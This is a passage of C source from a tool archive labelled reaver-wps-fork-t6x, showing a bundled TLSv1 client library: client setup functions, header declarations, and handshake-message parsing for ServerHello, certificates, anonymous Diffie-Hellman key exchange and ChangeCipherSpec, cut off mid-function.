os_free(conn->client_hello_ext); conn->client_hello_ext = NULL; conn->client_hello_ext_len = 0; if (data == NULL || data_len == 0) return 0; pos = conn->client_hello_ext = os_malloc(6 + data_len); if (pos == NULL) return -1; WPA_PUT_BE16(pos, 4 + data_len); pos += 2; WPA_PUT_BE16(pos, ext_type); pos += 2; WPA_PUT_BE16(pos, data_len); pos += 2; os_memcpy(pos, data, data_len); conn->client_hello_ext_len = 6 + data_len; if (ext_type == TLS_EXT_PAC_OPAQUE) { conn->session_ticket_included = 1; wpa_printf(MSG_DEBUG, "TLSv1: Using session ticket"); } return 0; } /** * tlsv1_client_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_client_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_client_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 client connection data from tlsv1_client_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; /* * Cisco AP (at least 350 and 1200 series) local authentication * server does not know how to search cipher suites from the * list and seem to require that the last entry in the list is * the one that it wants to use. However, TLS specification * requires the list to be in the client preference order. As a * workaround, add anon-DH AES-128-SHA1 again at the end of the * list to allow the Cisco code to find it. */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; conn->num_cipher_suites = count; } return 0; } /** * tlsv1_client_set_cred - Set client credentials * @conn: TLSv1 client connection data from tlsv1_client_init() * @cred: Credentials from tlsv1_cred_alloc() * Returns: 0 on success, -1 on failure * * On success, the client takes ownership of the credentials block and caller * must not free it. On failure, caller is responsible for freeing the * credential block. */ int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred) { tlsv1_cred_free(conn->cred); conn->cred = cred; return 0; } void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_client.h000077500000000000000000000042341363372615500214670ustar00rootroot00000000000000/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_H #define TLSV1_CLIENT_H #include "tlsv1_cred.h" struct tlsv1_client; int tlsv1_client_global_init(void); void tlsv1_client_global_deinit(void); struct tlsv1_client * tlsv1_client_init(void); void tlsv1_client_deinit(struct tlsv1_client *conn); int tlsv1_client_established(struct tlsv1_client *conn); int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len); int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen); int tlsv1_client_shutdown(struct tlsv1_client *conn); int tlsv1_client_resumed(struct tlsv1_client *conn); int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len); int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys); int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn); int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers); int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred); typedef int (*tlsv1_client_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx); #endif /* TLSV1_CLIENT_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_client_i.h000077500000000000000000000047221363372615500220010ustar00rootroot00000000000000/* * TLSv1 client - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_I_H #define TLSV1_CLIENT_I_H struct tlsv1_client { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_KEY_EXCHANGE, CHANGE_CIPHER_SPEC, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ACK_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; unsigned int certificate_requested:1; unsigned int session_resumed:1; unsigned int session_ticket_included:1; unsigned int use_session_ticket:1; struct crypto_public_key *server_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 prev_cipher_suite; u8 *client_hello_ext; size_t client_hello_ext_len; /* The prime modulus used for Diffie-Hellman */ u8 *dh_p; size_t dh_p_len; /* The generator used for Diffie-Hellman */ u8 *dh_g; size_t dh_g_len; /* The server's Diffie-Hellman public value */ u8 *dh_ys; size_t dh_ys_len; struct tlsv1_credentials *cred; tlsv1_client_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; }; void tls_alert(struct tlsv1_client *conn, u8 level, u8 description); void tlsv1_client_free_dh(struct tlsv1_client *conn); int tls_derive_pre_master_secret(u8 *pre_master_secret); int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len); u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len); u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data); int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len); #endif /* TLSV1_CLIENT_I_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_client_read.c000077500000000000000000000626051363372615500224630ustar00rootroot00000000000000/* * TLSv1 client - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, i; u16 cipher_suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_SERVER_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHello)", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ServerHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ServerHello", pos, len); end = pos + len; /* ProtocolVersion server_version */ if (end - pos < 2) goto decode_error; if (WPA_GET_BE16(pos) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->server_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; if (conn->session_id_len && conn->session_id_len == *pos && os_memcmp(conn->session_id, pos + 1, conn->session_id_len) == 0) { pos += 1 + conn->session_id_len; wpa_printf(MSG_DEBUG, "TLSv1: Resuming old session"); conn->session_resumed = 1; } else { conn->session_id_len = *pos; pos++; os_memcpy(conn->session_id, pos, conn->session_id_len); pos += conn->session_id_len; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* CipherSuite cipher_suite */ if (end - pos < 2) goto decode_error; cipher_suite = WPA_GET_BE16(pos); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { if (cipher_suite == conn->cipher_suites[i]) break; } if (i == conn->num_cipher_suites) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "cipher suite 0x%04x", cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (conn->session_resumed && cipher_suite != conn->prev_cipher_suite) { wpa_printf(MSG_DEBUG, "TLSv1: Server selected a different " "cipher suite for a resumed connection (0x%04x != " "0x%04x)", cipher_suite, conn->prev_cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->prev_cipher_suite = cipher_suite; /* CompressionMethod compression_method */ if (end - pos < 1) goto decode_error; if (*pos != TLS_COMPRESSION_NULL) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "compression 0x%02x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } pos++; if (end != pos) { /* TODO: ServerHello extensions */ wpa_hexdump(MSG_DEBUG, "TLSv1: Unexpected extra data in the " "end of ServerHello", pos, end - pos); goto decode_error; } if (conn->session_ticket_included && conn->session_ticket_cb) { /* TODO: include SessionTicket extension if one was included in * ServerHello */ int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = !!res; } if ((conn->session_resumed || conn->use_session_ticket) && tls_derive_keys(conn, NULL, 0)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? SERVER_CHANGE_CIPHER_SPEC : SERVER_CERTIFICATE; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) return tls_process_server_key_exchange(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ServerKeyExchange/CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->server_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->server_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (conn->cred && x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = SERVER_KEY_EXCHANGE; return 0; } static int tlsv1_process_diffie_hellman(struct tlsv1_client *conn, const u8 *buf, size_t len) { const u8 *pos, *end; tlsv1_client_free_dh(conn); pos = buf; end = buf + len; if (end - pos < 3) goto fail; conn->dh_p_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_p_len == 0 || end - pos < (int) conn->dh_p_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid dh_p length %lu", (unsigned long) conn->dh_p_len); goto fail; } conn->dh_p = os_malloc(conn->dh_p_len); if (conn->dh_p == NULL) goto fail; os_memcpy(conn->dh_p, pos, conn->dh_p_len); pos += conn->dh_p_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH p (prime)", conn->dh_p, conn->dh_p_len); if (end - pos < 3) goto fail; conn->dh_g_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_g_len == 0 || end - pos < (int) conn->dh_g_len) goto fail; conn->dh_g = os_malloc(conn->dh_g_len); if (conn->dh_g == NULL) goto fail; os_memcpy(conn->dh_g, pos, conn->dh_g_len); pos += conn->dh_g_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH g (generator)", conn->dh_g, conn->dh_g_len); if (conn->dh_g_len == 1 && conn->dh_g[0] < 2) goto fail; if (end - pos < 3) goto fail; conn->dh_ys_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_ys_len == 0 || end - pos < (int) conn->dh_ys_len) goto fail; conn->dh_ys = os_malloc(conn->dh_ys_len); if (conn->dh_ys == NULL) goto fail; os_memcpy(conn->dh_ys, pos, conn->dh_ys_len); pos += conn->dh_ys_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", conn->dh_ys, conn->dh_ys_len); return 0; fail: wpa_printf(MSG_DEBUG, "TLSv1: Processing DH params failed"); tlsv1_client_free_dh(conn); return -1; } static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerKeyExchange " "(Left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerKeyExchange/" "CertificateRequest/ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerKeyExchange"); if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not allowed " "with the selected cipher suite"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: ServerKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { if (tlsv1_process_diffie_hellman(conn, pos, len) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } } else { wpa_printf(MSG_DEBUG, "TLSv1: UnexpectedServerKeyExchange"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } *in_len = end - in_data; conn->state = SERVER_CERTIFICATE_REQUEST; return 0; } static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateRequest " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in CertificateRequest " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateRequest"); conn->certificate_requested = 1; *in_len = end - in_data; conn->state = SERVER_HELLO_DONE; return 0; } static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerHelloDone " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerHelloDone " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHelloDone"); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_server_change_cipher_spec(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); if (conn->use_session_ticket) { int res; wpa_printf(MSG_DEBUG, "TLSv1: Server may have " "rejected SessionTicket"); conn->use_session_ticket = 0; /* Notify upper layers that SessionTicket failed */ res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, NULL, NULL, NULL); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket " "callback indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->state = SERVER_CERTIFICATE; return tls_process_certificate(conn, ct, in_data, in_len); } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = SERVER_FINISHED; return 0; } static int tls_process_server_finished(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tls_alert(conn, 